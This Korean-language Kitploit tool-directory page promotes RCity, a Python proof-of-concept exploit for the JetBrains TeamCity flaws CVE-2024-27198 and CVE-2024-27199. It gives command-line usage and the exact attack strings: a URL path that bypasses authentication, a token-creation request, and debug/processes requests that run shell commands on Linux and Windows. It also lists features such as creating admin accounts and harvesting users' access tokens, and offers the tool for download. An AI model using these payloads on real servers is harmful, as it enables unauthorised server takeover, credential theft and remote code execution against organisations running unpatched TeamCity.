Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
RCity-CVE-2024-27198 — CVE-2024-27198 및 CVE-2024-27199 PoC - RCE, 관리자 계정 생성, 사용자 열거, 서버 정보 | Kitploit
도구/GitHubGitHub/stuub/rcity-cve-2024-27198
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubstuub/rcity-cve-2024-27198

RCity-CVE-2024-27198

CVE-2024-27198 및 CVE-2024-27199 PoC - RCE, 관리자 계정 생성, 사용자 열거, 서버 정보

저장소 보기
36352년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

RCity - CVE-2024-27198 (RCE 및 관리자 계정 생성) & CVE-2024-27199 (인증 우회)

CVE-2024-27198 및 CVE-2024-27199 악용

RCity는 취약한 TeamCity 서버와 상호작용하는 Python 스크립트입니다. 이 CVE는 인증되지 않은 관리자 계정 생성과 도메인의 403 우회를 가능하게 하며, Debug/Processes 경로를 통해 RCE까지 달성합니다.

사용법

스크립트를 사용하려면 명령줄 인수로 -t 또는 --target 옵션을 사용하여 대상 TeamCity 서버 URL을 제공해야 합니다:

root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111

-v 또는 --verbose 옵션으로 출력 상세도를 높일 수 있습니다:

root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111 --verbose

-c 또는 --command 옵션을 통해 한 번에 명령어를 전송할 수 있습니다. 대화형 셸을 원한다면 이 옵션을 사용하지 마십시오. 명령어가 전송된 후 연결이 종료되어 리버스 셸에 적합하지 않습니다:

root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111 -c id

-s 또는 --stealth 옵션을 사용하여 TeamCity 서버에 POST 요청이 전송되지 않도록 할 수 있습니다:

root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111 -s

RCE 기능을 비활성화합니다. 나머지는 동일하게 유지됩니다:

root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111 --no-rce

사용자 목록 수집을 방지합니다. 큰 사용자 목록에서는 시간이 많이 소요될 수 있습니다. 이 옵션으로 바로 RCE로 이동하세요!

root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111 --no-enum

기능

  • 관리자 계정 생성

  • 원격 코드 실행

  • 인증 토큰 생성

  • 사용자 열거

  • 사용자의 모든 개인 인증 토큰 수집

  • 서버 세부 정보 수집

예시

image

RCE

image

토큰 생성

image

문서

이 프로젝트에서 사용된 함수들을 설명하여, 이 익스플로잇과 관련된 취약점에 대한 더 나은 이해를 제공하고자 합니다.

배경

취약점의 본질은 CVE-2024-27198과 99 모두 동일한 인증 우회에서 비롯됩니다. 이는 JetBrains TeamCity 서버의 REST API 경로에 대한 인증 우회로 인해 발생합니다. 그러나 이 취약점의 영향은 서로 다르며 흥미로운 지점입니다. CVE-2024-27198은 문서상으로는 RCE 영향 때문에 더 심각하며, /app/rest/debug/processes 엔드포인트를 활용합니다. 단, 이 엔드포인트에 필요한 요청을 수행할 권한이 인증 토큰을 통해서만 가능합니다. 이 엔드포인트 호출은 Unix와 Windows 호스트 간에 다르지만, 유사하게 조작됩니다. 유일한 차이점은 요청에 사용되는 네이티브 셸입니다.

Linux - processes?exePath=/bin/sh&params=-c&params={yourRCE_HTMLEncoded}

Windows - processes?exePath=cmd.exe&params=/c&params={yourRCE_HTMLEncoded}

인증 우회

앞서 언급했듯이, 이것은 인증 없이는 불가능합니다. 안전해야 하죠? 그럼 인증 우회가 등장합니다.

TeamCity 빌드의 정책을 우회하면 서버에 요청을 보내고 계정 없이도 인증 토큰을 생성할 수 있는 기회가 열립니다.

우회 자체는 REST 경로에 대한 대체 경로를 만드는 것입니다. 자세히 설명하지는 않겠지만, 요청을 처리하는 클래스의 내용을 제어해야 합니다. 특히 302(리디렉션)가 아닌 요청을 처리하는 클래스입니다. 그런 다음 URL에 세 가지 필요한 부분을 추가하여 제어할 수 있습니다.

  1. 302를 트리거하지 않는 인증되지 않은 엔드포인트 (예: /hax)

  2. API 경로를 쿼리하기 위한 URL 쿼리 매개변수 jsp (예: 사용자 경로의 경우 ?jsp=/app/rest/users)

  3. .jsp로 끝나는 임의의 URI 경로. 이는 HTTP 경로 매개변수 세그먼트 ;.jsp를 추가하여 달성할 수 있습니다.

따라서 사용자 엔드포인트에 대한 인증되지 않은 요청을 위한 최종 페이로드는 /hax?jsp=/app/rest/users;.jsp입니다.

이제 사용자 엔드포인트에 요청을 보내고 관리자를 포함한 자체 사용자를 추가할 수 있습니다!

하지만 RCE로 진행하려면 REST API에 대한 RCE 요청의 Bearer로 사용할 인증 토큰이 필요합니다. 이제 우회 방법이 있으니 문제없습니다. 토큰을 생성하겠습니다!

REST API 토큰 생성 --> RCE

토큰 엔드포인트는 이전 예제와 동일한 경로 트리를 따릅니다. /app/rest/users/id:{user_id}/tokens/{token_name}에서 찾을 수 있습니다. 그럼 인증을 우회하고 토큰을 생성하는 또 다른 페이로드를 만들어 보겠습니다!

(이 스크립트에서는 자체 토큰 이름을 제공하며, 알파벳과 숫자의 무작위 ASCII 문자로 생성됩니다.)

/hax?jsp=/app/rest/users/id:{user_id}/tokens/{token_name};.jsp

새로 생성된 사용자에게 토큰을 추가하는 POST 요청을 보낸 후, 이제 /app/rest/debug/processes 경로에 요청을 보낼 수 있습니다!

RCE 페이로드 제작에 특별한 점은 없습니다. params 인수에 페이로드를 HTML 인코딩하기만 하면 됩니다!

Happy hacking!

참고 자료

https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/

https://nvd.nist.gov/vuln/detail/CVE-2024-27198

https://github.com/W01fh4cker/CVE-2024-27198-RCE

면책 조항

이 스크립트는 교육 목적으로만 제공됩니다. 책임감 있게 사용하고, 접근 권한이 있는 시스템에서만 사용하십시오.

도구 다운로드